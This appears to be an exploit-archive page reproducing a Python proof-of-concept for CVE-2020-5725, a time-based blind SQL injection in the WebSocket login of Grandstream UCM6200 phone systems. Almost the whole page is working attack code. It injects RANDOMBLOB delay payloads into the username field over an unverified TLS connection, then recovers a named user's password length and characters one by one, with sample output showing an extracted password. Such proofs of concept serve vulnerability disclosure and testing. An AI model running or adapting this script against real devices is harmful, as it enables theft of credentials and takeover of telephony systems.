grandstream ucm6200 series websocket 1.0.20.20 user_password sql injection

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grandstream ucm6200 series websocket 1.0.20.20 user_password sql injection Code Code...
				
# Exploit Title: Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection # Date: 2020-03-30 # Exploit Author: Jacob Baines # Vendor Homepage: http://www.grandstream.com/ # Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware # Version: 1.0.20.20 and below # Tested on: Grandstream UCM6202 1.0.20.20 # CVE : CVE-2020-5725 # Grandstream UCM6200 Series WebSocket 1.0.20.20 SQL Injection Password Disclosure via Login (time based) # Advisory: https://www.tenable.com/security/research/tra-2020-17 # Sample output: # # albinolobster@ubuntu:~$ python3 websockify_login_injection.py --rhost 192.168.2.1 --user lolwat # [+] Password length is 9 # [+] Discovering password... # LabPass1% # [+] Done! The password is LabPass1% import sys import ssl import time import asyncio import argparse import websockets async def password_guess(ip, port, username): # the path to exploit uri = 'wss://' + ip + ':' + str(8089) + '/websockify' # no ssl verification ssl_context = ssl.SSLContext() ssl_context.verify_mode = ssl.CERT_NONE ssl_context.check_hostname = False # determine the length of the password. The timeout is 10 seconds... probably # way too long but whatever. length = 0 while length < 100: async with websockets.connect(uri, ssl=ssl_context) as websocket: start = time.time() login = '{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"' + username + '\' AND LENGTH(user_password)==' + str(length) + ' AND 88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or \'1\'=\'2","token":"lolwat"}}' await websocket.send(login) response = await websocket.recv() if (time.time() - start) < 5: length = length + 1 continue else: break # if we hit max password length than we've done something wrong if (length == 100): print('[+] Couldn\'t determine the passwords length.') sys.exit(1) print('[+] Password length is', length) print('[+] Discovering password...') # Now that we know the password length, just guess each password byte until # we've reached the full length. Again timeout set to 10 seconds. password = '' while len(password) < length: value = 0x20 while value < 0x80: if value == 0x22 or value == 0x5c: temp_pass = password + '\\' temp_pass = temp_pass + chr(value) else: temp_pass = password + chr(value) temp_pass_len = len(temp_pass) start = time.time() async with websockets.connect(uri, ssl=ssl_context) as websocket: challenge = '{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"' + username + '\' AND user_password LIKE \'' + temp_pass +'%\' AND substr(user_password,1,' + str(temp_pass_len) + ') = \'' + temp_pass + '\' AND 88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or \'1\'=\'2","token":"lolwat"}}' await websocket.send(challenge) response = await websocket.recv() if (time.time() - start) < 5: value = value + 1 continue else: print('\r' + temp_pass, end='') password = temp_pass break if value == 0x80: print('') print('[-] Failed to determine the password.') sys.exit(1) print('') print('[+] Done! The password is', password) top_parser = argparse.ArgumentParser(description='') top_parser.add_argument('--rhost', action="store", dest="rhost", required=True, help="The remote host to connect to") top_parser.add_argument('--rport', action="store", dest="rport", type=int, help="The remote port to connect to", default=8089) top_parser.add_argument('--user', action="store", dest="user", required=True, help="The user to brute force") args = top_parser.parse_args() asyncio.get_event_loop().run_until_complete(password_guess(args.rhost, args.rport, args.user))

Grandstream ucm6200 series websocket 1.0.20.20 user_password sql injection Vulnerability / Exploit Source : Grandstream ucm6200 series websocket 1.0.20.20 user_password sql injection



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